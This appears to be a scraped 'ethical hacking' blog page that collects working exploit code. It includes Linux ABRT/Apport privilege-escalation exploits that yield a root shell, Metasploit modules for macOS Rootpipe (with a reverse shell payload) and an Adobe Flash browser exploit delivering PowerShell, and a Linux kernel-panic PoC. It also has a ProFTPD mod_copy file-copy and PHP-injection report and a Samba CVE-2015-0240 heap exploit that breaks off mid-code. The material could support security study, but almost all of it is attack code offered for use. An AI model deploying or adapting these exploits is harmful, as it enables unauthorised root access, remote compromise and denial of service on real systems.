#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
#include <stdio.h>
#include <signal.h>
#include <err.h>
#include <string.h>
#include <alloca.h>
#include <limits.h>
#include <sys/inotify.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
//
// This is a race condition exploit for CVE-2015-1862, targeting Fedora.
//
// Note: It can take a few minutes to win the race condition.
//
// -- taviso@cmpxchg8b.com, April 2015.
//
// $ cat /etc/fedora-release
// Fedora release 21 (Twenty One)
// $ ./a.out /etc/passwd
// [ wait a few minutes ]
// Detected ccpp-2015-04-13-21:54:43-14183.new, attempting to race...
// Didn't win, trying again!
// Detected ccpp-2015-04-13-21:54:43-14186.new, attempting to race...
// Didn't win, trying again!
// Detected ccpp-2015-04-13-21:54:43-14191.new, attempting to race...
// Didn't win, trying again!
// Detected ccpp-2015-04-13-21:54:43-14195.new, attempting to race...
// Didn't win, trying again!
// Detected ccpp-2015-04-13-21:54:43-14198.new, attempting to race...
// Exploit successful...
// -rw-r--r--. 1 taviso abrt 1751 Sep 26 2014 /etc/passwd
//
static const char kAbrtPrefix[] = "/var/tmp/abrt/";
static const size_t kMaxEventBuf = 8192;
static const size_t kUnlinkAttempts = 8192 * 2;
static const int kCrashDelay = 10000;
static pid_t create_abrt_events(const char *name);
int main(int argc, char **argv)
{
int fd, i;
int watch;
pid_t child;
struct stat statbuf;
struct inotify_event *ev;
char *eventbuf = alloca(kMaxEventBuf);
ssize_t size;
// First argument is the filename user wants us to chown().
if (argc != 2) {
errx(EXIT_FAILURE, "please specify filename to chown (e.g. /etc/passwd)");
}
// This is required as we need to make different comm names to avoid
// triggering abrt rate limiting, so we fork()/execve() different names.
if (strcmp(argv[1], "crash") == 0) {
__builtin_trap();
}
// Setup inotify, and add a watch on the abrt directory.
if ((fd = inotify_init()) < 0) {
err(EXIT_FAILURE, "unable to initialize inotify");
}
if ((watch = inotify_add_watch(fd, kAbrtPrefix, IN_CREATE)) < 0) {
err(EXIT_FAILURE, "failed to create new watch descriptor");
}
// Start causing crashes so that abrt generates reports.
if ((child = create_abrt_events(*argv)) == -1) {
err(EXIT_FAILURE, "failed to generate abrt reports");
}
// Now start processing inotify events.
while ((size = read(fd, eventbuf, kMaxEventBuf)) > 0) {
// We can receive multiple events per read, so check each one.
for (ev = eventbuf; ev < eventbuf + size; ev = &ev->name[ev->len]) {
char dirname[NAME_MAX];
char mapsname[NAME_MAX];
char command[1024];
// If this is a new ccpp report, we can start trying to race it.
if (strncmp(ev->name, "ccpp", 4) != 0) {
continue;
}
// Construct pathnames.
strncpy(dirname, kAbrtPrefix, sizeof dirname);
strncat(dirname, ev->name, sizeof dirname);
strncpy(mapsname, dirname, sizeof dirname);
strncat(mapsname, "/maps", sizeof mapsname);
fprintf(stderr, "Detected %s, attempting to race...\n", ev->name);
// Check if we need to wait for the next event or not.
while (access(dirname, F_OK) == 0) {
for (i = 0; i < kUnlinkAttempts; i++) {
// We need to unlink() and symlink() the file to win.
if (unlink(mapsname) != 0) {
continue;
}
// We won the first race, now attempt to win the
// second race....
if (symlink(argv[1], mapsname) != 0) {
break;
}
// This looks good, but doesn't mean we won, it's possible
// chown() might have happened while the file was unlinked.
//
// Give it a few microseconds to run chown()...just in case
// we did win.
usleep(10);
if (stat(argv[1], &statbuf) != 0) {
errx(EXIT_FAILURE, "unable to stat target file %s", argv[1]);
}
if (statbuf.st_uid != getuid()) {
break;
}
fprintf(stderr, "\tExploit successful...\n");
// We're the new owner, run ls -l to show user.
sprintf(command, "ls -l %s", argv[1]);
system(command);
return EXIT_SUCCESS;
}
}
fprintf(stderr, "\tDidn't win, trying again!\n");
}
}
err(EXIT_FAILURE, "failed to read inotify event");
}
// This routine attempts to generate new abrt events. We can't just crash,
// because abrt sanely tries to rate limit report creation, so we need a new
// comm name for each crash.
static pid_t create_abrt_events(const char *name)
{
char *newname;
int status;
pid_t child, pid;
// Create a child process to generate events.
if ((child = fork()) != 0)
return child;
// Make sure we stop when parent dies.
prctl(PR_SET_PDEATHSIG, SIGKILL);
while (true) {
// Choose a new unused filename
newname = tmpnam(0);
// Make sure we're not too fast.
usleep(kCrashDelay);
// Create a new crashing subprocess.
if ((pid = fork()) == 0) {
if (link(name, newname) != 0) {
err(EXIT_FAILURE, "failed to create a new exename");
}
// Execute crashing process.
execl(newname, newname, "crash", NULL);
// This should always work.
err(EXIT_FAILURE, "unexpected execve failure");
}
// Reap crashed subprocess.
if (waitpid(pid, &status, 0) != pid) {
err(EXIT_FAILURE, "waitpid failure");
}
// Clean up the temporary name.
if (unlink(newname) != 0) {
err(EXIT_FAILURE, "failed to clean up");
}
// Make sure it crashed as expected.
if (!WIFSIGNALED(status)) {
errx(EXIT_FAILURE, "something went wrong");
}
}
return child;
}
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863149334
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <elf.h>
#include <err.h>
#include <syslog.h>
#include <sched.h>
#include <linux/sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/auxv.h>
#include <sys/wait.h>
# warning this file must be compiled with -static
//
// Apport/Abrt Vulnerability Demo Exploit.
//
// Apport: CVE-2015-1318
// Abrt: CVE-2015-1862
//
// -- taviso@cmpxchg8b.com, April 2015.
//
// $ gcc -static newpid.c
// $ ./a.out
// uid=0(root) gid=0(root) groups=0(root)
// sh-4.3# exit
// exit
//
// Hint: To get libc.a,
// yum install glibc-static or apt-get install libc6-dev
//
int main(int argc, char **argv)
{
int status;
Elf32_Phdr *hdr;
pid_t wrapper;
pid_t init;
pid_t subprocess;
unsigned i;
// Verify this is a static executable by checking the program headers for a
// dynamic segment. Originally I thought just checking AT_BASE would work,
// but that isnt reliable across many kernels.
hdr = (void *) getauxval(AT_PHDR);
// If we find any PT_DYNAMIC, then this is probably not a static binary.
for (i = 0; i < getauxval(AT_PHNUM); i++) {
if (hdr[i].p_type == PT_DYNAMIC) {
errx(EXIT_FAILURE, "you *must* compile with -static");
}
}
// If execution reached here, it looks like we're a static executable. If
// I'm root, then we've convinced the core handler to run us, so create a
// setuid root executable that can be used outside the chroot.
if (getuid() == 0) {
if (chown("sh", 0, 0) != 0)
exit(EXIT_FAILURE);
if (chmod("sh", 04755) != 0)
exit(EXIT_FAILURE);
return EXIT_SUCCESS;
}
// If I'm not root, but euid is 0, then the exploit worked and we can spawn
// a shell and cleanup.
if (setuid(0) == 0) {
system("id");
system("rm -rf exploit");
execlp("sh", "sh", NULL);
// Something went wrong.
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
}
// It looks like the exploit hasn't run yet, so create a chroot.
if (mkdir("exploit", 0755) != 0
|| mkdir("exploit/usr", 0755) != 0
|| mkdir("exploit/usr/share", 0755) != 0
|| mkdir("exploit/usr/share/apport", 0755) != 0
|| mkdir("exploit/usr/libexec", 0755) != 0) {
err(EXIT_FAILURE, "failed to create chroot directory");
}
// Create links to the exploit locations we need.
if (link(*argv, "exploit/sh") != 0
|| link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora
err(EXIT_FAILURE, "failed to create required hard links");
}
// Create a subprocess so we don't enter the new namespace.
if ((wrapper = fork()) == 0) {
// In the child process, create a new pid and user ns. The pid
// namespace is only needed on Ubuntu, because they check for %P != %p
// in their core handler. On Fedora, just a user ns is sufficient.
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
err(EXIT_FAILURE, "failed to create new namespace");
// Create a process in the new namespace.
if ((init = fork()) == 0) {
// Init (pid 1) signal handling is special, so make a subprocess to
// handle the traps.
if ((subprocess = fork()) == 0) {
// Change /proc/self/root, which we can do as we're privileged
// within the new namepace.
if (chroot("exploit") != 0) {
err(EXIT_FAILURE, "chroot didnt work");
}
// Now trap to get the core handler invoked.
__builtin_trap();
// Shouldn't happen, unless user is ptracing us or something.
err(EXIT_FAILURE, "coredump failed, were you ptracing?");
}
// If the subprocess exited with an abnormal signal, then everything worked.
if (waitpid(subprocess, &status, 0) == subprocess)
return WIFSIGNALED(status)
? EXIT_SUCCESS
: EXIT_FAILURE;
// Something didn't work.
return EXIT_FAILURE;
}
// The new namespace didn't work.
if (waitpid(init, &status, 0) == init)
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
? EXIT_SUCCESS
: EXIT_FAILURE;
// Waitpid failure.
return EXIT_FAILURE;
}
// If the subprocess returned sccess, the exploit probably worked, reload
// with euid zero.
if (waitpid(wrapper, &status, 0) == wrapper) {
// All done, spawn root shell.
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
execl(*argv, "w00t", NULL);
}
}
// Unknown error.
errx(EXIT_FAILURE, "unexpected result, cannot continue");
}
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X "Rootpipe" Privilege Escalation',
'Description' => %q{
This module exploits a hidden backdoor API in Apple's Admin framework on
Mac OS X to escalate privileges to root. Dubbed "Rootpipe."
Tested on Yosemite 10.10.2 and should work on previous versions.
The patch for this issue was not backported to older releases.
Note: you must run this exploit as an admin user to escalate to root.
},
'Author' => [
'Emil Kvarnhammar', # Vulnerability discovery and PoC
'joev', # Copy/paste monkey
'wvu' # Meta copy/paste monkey
],
'References' => [
['CVE', '2015-1130'],
['OSVDB', '114114'],
['EDB', '36692'],
['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
],
'DisclosureDate' => 'Apr 9 2015',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86_64,
'SessionTypes' => ['shell'],
'Targets' => [
['Mac OS X 10.9-10.10.2', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
'CMD' => '/bin/zsh'
}
))
register_options([
OptString.new('PYTHON', [true, 'Python executable', '/usr/bin/python']),
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
])
end
def check
(ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end
def exploit
print_status("Writing exploit to `#{exploit_file}'")
write_file(exploit_file, python_exploit)
register_file_for_cleanup(exploit_file)
print_status("Writing payload to `#{payload_file}'")
write_file(payload_file, binary_payload)
register_file_for_cleanup(payload_file)
print_status('Executing exploit...')
cmd_exec(sploit)
print_status('Executing payload...')
cmd_exec(payload_file)
end
def ver?
Gem::Version.new(get_sysinfo['ProductVersion']).between?(
Gem::Version.new('10.9'), Gem::Version.new('10.10.2')
)
end
def admin?
cmd_exec('groups | grep -wq admin && echo true') == 'true'
end
def sploit
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
end
def python_exploit
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'
))
end
def binary_payload
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
end
def exploit_file
@exploit_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
end
def payload_file
@payload_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player casi32 Integer Overflow',
'Description' => %q{
This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs in
the casi32 method, where an integer overflow occurs if a ByteArray of length 0 is setup as
domainMemory for the current application domain. This module has been tested successfully
on Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 15.0.0.167.
},
'License' => MSF_LICENSE,
'Author' =>
[
'bilou', # Vulnerability discovery
'juan vazquez' # msf module
],
'References' =>
[
['ZDI', '14-365'],
['CVE', '2014-0569'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-22.html'],
['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0569.html']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^15\./ && ver == '15.0.0.167' },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 14 2014',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0569', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
/* ----------------------------------------------------------------------------------------------------
* cve-2014-7822_poc.c
*
* The implementation of certain splice_write file operations in the Linux kernel before 3.16 does not enforce a restriction on the maximum size of a single file
* which allows local users to cause a denial of service (system crash) or possibly have unspecified other impact via a crafted splice system call,
* as demonstrated by use of a file descriptor associated with an ext4 filesystem.
*
*
* This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
* Works on ext4 filesystem
* Tested on Ubuntu with 3.13 and 3.14 kernels
*
* Compile with gcc -fno-stack-protector -Wall -o cve-2014-7822_poc cve-2014-7822_poc.c
*
*
* Emeric Nasi - www.sevagas.com
*-----------------------------------------------------------------------------------------------------*/
/* ----------------------- Includes ----------------------------*/
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <limits.h>
#define EXPLOIT_NAME "cve-2014-7822"
#define EXPLOIT_TYPE DOS
#define JUNK_SIZE 30000
/* ----------------------- functions ----------------------------*/
/* Useful:
*
+============+===============================+===============================+
| \ File flag| | |
| \ | !EXT4_EXTENTS_FL | EXT4_EXTETNS_FL |
|Fs Features\| | |
+------------+-------------------------------+-------------------------------+
| !extent | write: 2194719883264 | write: -------------- |
| | seek: 2199023251456 | seek: -------------- |
+------------+-------------------------------+-------------------------------+
| extent | write: 4402345721856 | write: 17592186044415 |
| | seek: 17592186044415 | seek: 17592186044415 |
+------------+-------------------------------+-------------------------------+
*/
/**
* Poc for cve_2014_7822 vulnerability
*/
int main()
{
int pipefd[2];
int result;
int in_file;
int out_file;
int zulHandler;
loff_t viciousOffset = 0;
char junk[JUNK_SIZE] ={0};
result = pipe(pipefd);
// Create and clear zug.txt and zul.txt files
system("cat /dev/null > zul.txt");
system("cat /dev/null > zug.txt");
// Fill zul.txt with A
zulHandler = open("zul.txt", O_RDWR);
memset(junk,'A',JUNK_SIZE);
write(zulHandler, junk, JUNK_SIZE);
close(zulHandler);
//put content of zul.txt in pipe
viciousOffset = 0;
in_file = open("zul.txt", O_RDONLY);
result = splice(in_file, 0, pipefd[1], NULL, JUNK_SIZE, SPLICE_F_MORE | SPLICE_F_MOVE);
close(in_file);
// Put content of pipe in zug.txt
out_file = open("zug.txt", O_RDWR);
viciousOffset = 118402345721856; // Create 108 tera byte file... can go up as much as false 250 peta byte ext4 file size!!
printf("[cve_2014_7822]: ViciousOffset = %lu\n", (unsigned long)viciousOffset);
result = splice(pipefd[0], NULL, out_file, &viciousOffset, JUNK_SIZE , SPLICE_F_MORE | SPLICE_F_MOVE); //8446744073709551615
if (result == -1)
{
printf("[cve_2014_7822 error]: %d - %s\n", errno, strerror(errno));
exit(1);
}
close(out_file);
close(pipefd[0]);
close(pipefd[1]);
//Open zug.txt
in_file = open("zug.txt", O_RDONLY);
close(in_file);
printf("[cve_2014_7822]: POC triggered, ... system will panic after some time\n");
return 0;
}
Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:
---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------
He provides another, scarier example:
------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php
test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------
test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter
Source: http://bugs.proftpd.org/show_bug.cgi?id=4169
#!/usr/bin/python
"""
Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya
The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by
ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()'
in libtalloc does not write a value on 'creds' address.
Reference:
- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/
Note:
- heap might be changed while running exploit, need to try again (with '-hs' or '-pa' option)
if something failed
Find heap address:
- ubuntu PIE heap start range: b7700000 - b9800000
- start payload size: the bigger it is the lesser connection and binding time.
but need more time to shrink payload size
- payload is too big to fit in freed small hole. so payload is always at end
of heap
- start bruteforcing heap address from high memory address to low memory address
to prevent 'creds' pointed to real heap chunk (also no crash but not our payload)
Leak info:
- heap layout is predictable because talloc_stackframe_pool(8192) is called after
accepted connection and fork but before calling smbd_server_connection_loop_once()
- before talloc_stackframe_pool(8192) is called, there are many holes in heap
but their size are <8K. so pool is at the end of heap at this time
- many data that allocated after talloc_stackframe_pool(8192) are allocated in pool.
with the same pattern of request, the layout in pool are always the same.
- many data are not allocated in pool but fit in free holes. so no small size data are
allocated after pool.
- normally there are only few data block allocated after pool.
- pool size: 0x2048 (included glibc heap header 4 bytes)
- a table that created in giconv_open(). the size is 0x7f88 (included glibc heap header 4 bytes)
- p->in_data.pdu.data. the size is 0x10e8 (included glibc heap header 4 bytes)
- this might not be allocated here because its size might fit in freed hole
- all fragment should be same size to prevent talloc_realloc() changed pdu.data size
- so last fragment should be padded
- ndr DATA_BLOB. the size is 0x10d0 (included glibc heap header 4 bytes)
- this might not be allocated here because its size might fit in freed hole
- p->in_data.data.data. the size is our netlogon data
- for 8K payload, the size is 0x2168 (included glibc heap header 4 bytes)
- this data is allocated by realloc(), grew by each fragment. so this memory
block is not allocated by mmapped even the size is very big.
- pool layout for interested data
- r->out offset from pool (talloc header) is 0x13c0
- r->out.return_authenticator offset from pool is 0x13c0+0x18
- overwrite this (with link unlink) to leak info in ServerPasswordSet response
- smb_request offset from pool (talloc header) is 0x11a0
- smb_request.sconn offset from pool is 0x11a0+0x3c
- socket fd is at smb_request.sconn address (first struct member)
- more shared folder in configuration, more freed heap holes
- only if there is no or one shared, many data might be unexpected allocated after pool.
have to get that extra offset or bruteforce it
More exploitation detail in code (comment) ;)
"""
import sys
import time
from struct import pack,unpack
import argparse
import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import WSTR
class Requester:
"""
put all smb request stuff into class. help my editor folding them
"""
# impacket does not implement NetrServerPasswordSet
# 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
class NetrServerPasswordSet(NDRCALL):
opnum = 6
structure = (
('PrimaryName',nrpc.PLOGONSRV_HANDLE),
('AccountName',WSTR),
('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
('ComputerName',WSTR),
('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
)
# response is authenticator (8 bytes) and error code (4 bytes)
# size of each field in sent packet
req_server_handle_size = 16
req_username_hdr_size = 4 + 4 + 4 + 2 # max count, offset, actual count, trailing null
req_sec_type_size = 2
req_computer_size = 4 + 4 + 4 + 2
req_authenticator_size = 8 + 2 + 4
req_new_pwd_size = 16
req_presize = req_server_handle_size + req_username_hdr_size + req_sec_type_size + req_computer_size + req_authenticator_size + req_new_pwd_size
samba_rpc_fragment_size = 4280
netlogon_data_fragment_size = samba_rpc_fragment_size - 8 - 24 # 24 is dcerpc header size
def __init__(self):
self.target = None
self.dce = None
sessionKey = '\x00'*16
# prepare ServerPasswordSet request
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
authenticator['Timestamp'] = 10
uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
uasNewPass['Data'] = '\x00'*16
self.serverName = nrpc.PLOGONSRV_HANDLE()
# ReferentID field of PrimaryName controls the uninitialized value of creds
self.serverName.fields['ReferentID'] = 0
self.accountName = WSTR()
request = Requester.NetrServerPasswordSet()
request['PrimaryName'] = self.serverName
request['AccountName'] = self.accountName
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
request['ComputerName'] = '\x00'
request['Authenticator'] = authenticator
request['UasNewPassword'] = uasNewPass
self.request = request
def set_target(self, target):
self.target = target
def set_payload(self, s, pad_to_size=0):
if pad_to_size > 0:
s += '\x00'*(pad_to_size-len(s))
pad_size = 0
if len(s) < (16*1024+1):
ofsize = (len(s)+self.req_presize) % self.netlogon_data_fragment_size
if ofsize > 0:
pad_size = self.netlogon_data_fragment_size - ofsize
self.accountName.fields['Data'] = s+'\x00'*pad_size+'\x00\x00'
self.accountName.fields['MaximumCount'] = None
self.accountName.fields['ActualCount'] = None
self.accountName.data = None # force recompute
set_accountNameData = set_payload
def get_dce(self):
if self.dce is None or self.dce.lostconn:
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % self.target)
rpctransport.set_credentials('','') # NULL session
rpctransport.set_dport(445)
# force to 'NT LM 0.12' only
rpctransport.preferred_dialect('NT LM 0.12')
self.dce = rpctransport.get_dce_rpc()
self.dce.connect()
self.dce.bind(nrpc.MSRPC_UUID_NRPC)
self.dce.lostconn = False
return self.dce
def get_socket(self):
return self.dce.get_rpc_transport().get_socket()
def force_dce_disconnect(self):
if not (self.dce is None or self.dce.lostconn):
self.get_socket().close()
self.dce.lostconn = True
def request_addr(self, addr):
self.serverName.fields['ReferentID'] = addr
dce = self.get_dce()
try:
dce.call(self.request.opnum, self.request)
answer = dce.recv()
return unpack("<IIII", answer)
except impacket.nmb.NetBIOSError as e:
if e.args[0] != 'Error while reading from remote':
raise
dce.lostconn = True
return None
# call with no read
def call_addr(self, addr):
self.serverName.fields['ReferentID'] = addr
dce = self.get_dce()
try:
dce.call(self.request.opnum, self.request)
return True
except impacket.nmb.NetBIOSError as e:
if e.args[0] != 'Error while reading from remote':
raise
dce.lostconn = True
return False
def force_recv(self):
dce = self.get_dce()
return dce.get_rpc_transport().recv(forceRecv=True)
def request_check_valid_addr(self, addr):
answers = self.request_addr(addr)
if answers is None:
return False # connection lost
elif answers[3] != 0:
return True # error, expected
else:
raise Error('Unexpected result')
# talloc constants
TALLOC_MAGIC = 0xe8150c70 # for talloc 2.0
TALLOC_FLAG_FREE = 0x01
TALLOC_FLAG_LOOP = 0x02
TALLOC_FLAG_POOL = 0x04
TALLOC_FLAG_POOLMEM = 0x08
TALLOC_HDR_SIZE = 0x30 # for 32 bit
flag_loop = TALLOC_MAGIC | TALLOC_FLAG_LOOP # for checking valid address
# Note: do NOT reduce target_payload_size less than 8KB. 4KB is too small buffer. cannot predict address.
TARGET_PAYLOAD_SIZE = 8192
########
# request helper functions
########
# only one global requester
requester = Requester()
def force_dce_disconnect():
requester.force_dce_disconnect()
def request_addr(addr):
return requester.request_addr(addr)
def request_check_valid_addr(addr):
return requester.request_check_valid_addr(addr)
def set_payload(s, pad_to_size=0):
requester.set_payload(s, pad_to_size)
def get_socket():
return requester.get_socket()
def call_addr(addr):
return requester.call_addr(addr)
def force_recv():
return requester.force_recv()
########
# find heap address
########
# only refs MUST be NULL, other never be checked
fake_chunk_find_heap = pack("<IIIIIIII",
0, 0, 0, 0, # refs
flag_loop, flag_loop, flag_loop, flag_loop,
)
def find_valid_heap_addr(start_addr, stop_addr, payload_size, first=False):
"""
below code can be used for checking valid heap address (no crash)
if (unlikely(tc->flags & TALLOC_FLAG_LOOP)) {
/* we have a free loop - stop looping */
return 0;
}
"""
global fake_chunk_find_heap
payload = fake_chunk_find_heap*(payload_size/len(fake_chunk_find_heap))
set_payload(payload)
addr_step = payload_size
addr = start_addr
i = 0
while addr > stop_addr:
if i == 16:
print(" [*]trying addr: {:x}".format(addr))
i = 0
if request_check_valid_addr(addr):
return addr
if first:
# first time, the last 16 bit is still do not know
# have to do extra check
if request_check_valid_addr(addr+0x10):
return addr+0x10
addr -= addr_step
i += 1
return None
def find_valid_heap_exact_addr(addr, payload_size):
global fake_chunk_find_heap
fake_size = payload_size // 2
while fake_size >= len(fake_chunk_find_heap):
payload = fake_chunk_find_heap*(fake_size/len(fake_chunk_find_heap))
set_payload(payload, payload_size)
if not request_check_valid_addr(addr):
addr -= fake_size
fake_size = fake_size // 2
set_payload('\x00'*16 + pack("<I", flag_loop), payload_size)
# because glibc heap is align by 8
# so the last 4 bit of address must be 0x4 or 0xc
if request_check_valid_addr(addr-4):
addr -= 4
elif request_check_valid_addr(addr-0xc):
addr -= 0xc
else:
print(" [-] bad exact addr: {:x}".format(addr))
return 0
print(" [*] checking exact addr: {:x}".format(addr))
if (addr & 4) == 0:
return 0
# test the address
# must be invalid (refs is AccountName.ActualCount)
set_payload('\x00'*12 + pack("<I", flag_loop), payload_size)
if request_check_valid_addr(addr-4):
print(' [-] request_check_valid_addr(addr-4) failed')
return 0
# must be valid (refs is AccountName.Offset)
# do check again if fail. sometimes heap layout is changed
set_payload('\x00'*8 + pack("<I", flag_loop), payload_size)
if not request_check_valid_addr(addr-8) and not request_check_valid_addr(addr-8) :
print(' [-] request_check_valid_addr(addr-8) failed')
return 0
# must be invalid (refs is AccountName.MaxCount)
set_payload('\x00'*4 + pack("<I", flag_loop), payload_size)
if request_check_valid_addr(addr-0xc):
print(' [-] request_check_valid_addr(addr-0xc) failed')
return 0
# must be valid (refs is ServerHandle.ActualCount)
# do check again if fail. sometimes heap layout is changed
set_payload(pack("<I", flag_loop), payload_size)
if not request_check_valid_addr(addr-0x10) and not request_check_valid_addr(addr-0x10):
print(' [-] request_check_valid_addr(addr-0x10) failed')
return 0
return addr
def find_payload_addr(start_addr, start_payload_size, target_payload_size):
print('[*] bruteforcing heap address...')
start_addr = start_addr & 0xffff0000
heap_addr = 0
while heap_addr == 0:
# loop from max to 0xb7700000 for finding heap area
# offset 0x20000 is minimum offset from heap start to recieved data in heap
stop_addr = 0xb7700000 + 0x20000
good_addr = None
payload_size = start_payload_size
while payload_size >= target_payload_size:
force_dce_disconnect()
found_addr = None
for i in range(3):
found_addr = find_valid_heap_addr(start_addr, stop_addr, payload_size, good_addr is None)
if found_addr is not None:
break
if found_addr is None:
# failed
